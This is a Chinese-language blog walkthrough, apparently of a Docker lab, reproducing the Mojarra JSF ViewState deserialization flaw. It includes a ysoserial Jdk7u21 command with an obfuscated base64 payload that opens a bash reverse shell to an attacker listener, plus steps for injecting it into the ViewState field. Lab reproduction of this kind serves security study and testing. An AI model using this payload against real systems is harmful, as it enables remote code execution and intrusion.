Mojarra JSF ViewState 反序列化漏洞
JavaServer Faces (JSF) 是一种用于构建 Web 应用程序的标准,Mojarra是一个实现了JSF的框架。在其2.1.29-08、2.0.11-04版本之前,没有对JSF中的ViewState进行加密,进而导致攻击者可以构造恶意的序列化ViewState对象对服务器进行攻击。
参考链接:
- https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html
- https://www.exploit-db.com/docs/48126
- https://www.synacktiv.com/ressources/JSF_ViewState_InYourFace.pdf
环境搭建
执行如下命令启动一个使用了JDK7u21和mojarra 2.1.28的JSF应用:
docker-compose up -d
环境启动后,访问http://your-ip:8080
即可查看到demo页面。
漏洞复现
JSF的ViewState结构如下:
根据这个结构,我们使用ysoserial的Jdk7u21利用链来生成一段合法的Payload:
java -jar ysoserial.jar Jdk7u21 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc1LjE1MC85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}" | gzip | base64 -w 0
然后,我们提交表单并抓包,修改其中javax.faces.ViewState
字段的值为上述Payload(别忘了URL编码):
开启监听,反弹Shell成功
本文来自博客园,作者:NoCirc1e,转载请注明原文链接:https://www.cnblogs.com/NoCirc1e/p/16281818.html